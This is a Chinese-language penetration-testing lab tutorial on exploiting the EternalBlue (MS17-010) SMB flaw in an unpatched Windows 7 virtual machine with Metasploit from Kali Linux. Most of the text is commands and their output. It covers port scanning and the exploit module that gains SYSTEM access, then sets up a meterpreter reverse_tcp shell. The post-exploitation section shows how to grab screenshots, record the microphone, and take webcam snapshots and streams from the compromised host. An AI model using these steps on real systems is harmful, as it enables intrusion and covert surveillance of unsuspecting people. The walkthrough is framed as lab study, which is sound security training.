WIN7系統永恆之藍漏洞
前章:
安全漏洞的分析與利用
PTES滲透測試執行標準
1.簡介
永恆之藍:是指2017年4月14日晚,黑客團體Shadow Brokers(影子經紀人)公佈一大批網絡攻擊工具,其中包含“永恆之藍”工具,“永恆之藍”利用Windows系統的SMB漏洞可以獲取系統最高權限。5月12日,不法分子通過改造“永恆之藍”製作了wannacry勒索病毒,英國、俄羅斯、整個歐洲以及中國國內多個高校校內網、大型企業內網和政府機構專網中招,被勒索支付高額贖金才能解密恢復文件。 // 該詞條來自於百度百科
2.漏洞復現
平臺搭建-環境部署:
- 基於vmware workstation 12 pro
- kali linux
- window 7 x64位 (未打MS17-010補丁)
- kali linux與win7靶機在同一網段
(1).漏洞信息收集
首先,進入Metasploit的msf終端
msf終端是Metasploit框架中最強大、最豐富且支持最好的用戶接口
- 使用Metasploit自帶的nmap工具對靶機進行掃描
我們發現其主機的445端口是打開的,可能存在永恆之藍漏洞。 - 使用AUX輔助模塊,掃描目標靶機
當前使用的爲auxiliary(scanner/portscan/tcp)
msf5 > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > show options
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.129
RHOSTS => 10.10.10.129
msf5 auxiliary(scanner/portscan/tcp) > set ports 1-1000
ports => 1-1000
msf5 auxiliary(scanner/portscan/tcp) > set threads 10
threads => 10
msf5 auxiliary(scanner/portscan/tcp) > exploit
我們可以看到我們針對於10.10.10.129主機1-1000端口,TCP的135、139、445端口都打開
(2).滲透攻擊階段
- 使用ms17-010模塊
- 使用ms17-010的aux模塊再次對10.10.10.129主機進行掃描,發現該主機445端口很可能通過MS17-010進行攻擊
使用ms17-010 exploit攻擊模塊進行攻擊
攻擊成功,進入windows系統,且權限爲最高系統權限system32>
(3).後滲透攻擊階段
- 設置攻擊載荷(payloads)
當前使用的爲 windows/x64/meterpreter/reverse_tcp
- 攻擊成功後,我們會進入到meterpreter後門工具中
merterpreter: 可以看做一個支持多操作系統平臺,可以駐留在內存中並具備免殺功能的高級後門程序。
meterpreter的功能:
- 1.特權提升
- 2.信息獲取
- 3.系統監控
- 4.跳板攻擊
- 5.內網拓展等
- 接下來我們針對於129主機,進行後滲透中的截屏和系統監控及錄音的獲取
screenshot - 截屏
meterpreter > screenshot //截屏,默認存儲在家目錄下
Screenshot saved to: /root/bnalpAZM.jpeg
meterpreter > screenshot -h
Usage: screenshot [options]
Grab a screenshot of the current interactive desktop.
OPTIONS:
-h Help Banner.
-p <opt> The JPEG image path (Default: 'gjFcDUjx.jpeg') //定義截屏存儲路徑
-q <opt> The JPEG image quality (Default: '50') //定義像素
-v <opt> Automatically view the JPEG image (Default: 'false') //自動查看截屏、默認關閉
meterpreter >
record_mic錄音
meterpreter > record_mic -d 3 -p false
[*] Starting...
[*] Stopped
Audio saved to: /root/UOzQKTfF.wav
meterpreter >
meterpreter > record_mic -h
Usage: record_mic [options]
Records audio from the default microphone.
OPTIONS:
-d <opt> Number of seconds to record (Default: 1) //定義錄音時間長短,默認爲1秒
-f <opt> The wav file path (Default: '/root/[randomname].wav') //定義錄音文件存儲路徑,默認爲家目錄下
-h Help Banner
-p <opt> Automatically play the captured audio (Default: 'true') //自動播放捕獲的音頻
meterpreter >
meterpreter中的Webcam commands-攝像頭命令
- webcam_chat:開始一個視頻聊天
- webcam_list:掃描攝像頭設備
- webcam_snap:從指定的攝像頭獲取快照
- webcam_stream:從指定的攝像頭播放視頻流
meterpreter > webcam_list
1: USB2.0 VGA UVC WebCam
掃描攝像頭設備:
拍取快照,抓拍攝像頭:
meterpreter > webcam_snap -p /root/snap.jpeg -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/snap.jpeg
meterpreter > webcam_snap -h
Usage: webcam_snap [options]
Grab a frame from the specified webcam.
OPTIONS:
-h Help Banner
-i <opt> The index of the webcam to use (Default: 1) //攝像頭索引
-p <opt> The JPEG image path (Default: 'McrshoXs.jpeg') //快照存儲路徑
-q <opt> The JPEG image quality (Default: '50') //像素默認50
-v <opt> Automatically view the JPEG image (Default: 'true') //默認自動打開快照
從攝像頭中截取的快照圖片
打開視頻監控:
meterpreter > webcam_stream -h
[*] Starting...
Usage: webcam_stream [options]
Stream from the specified webcam.
OPTIONS:
-d <opt> The stream duration in seconds (Default: 1800) //視頻流持續時間,默認1800秒
-h Help Banner
-i <opt> The index of the webcam to use (Default: 1) //攝像頭索引
-q <opt> The stream quality (Default: '50') //視頻流像素
-s <opt> The stream file path (Default: 'YCKFILwE.jpeg') //視頻流存儲路徑
-t <opt> The stream player path (Default: gZAbKWbt.html) // 視頻流訪問路徑
-v <opt> Automatically view the stream (Default: 'true') // 自動打開視頻,默認開啓
meterpreter >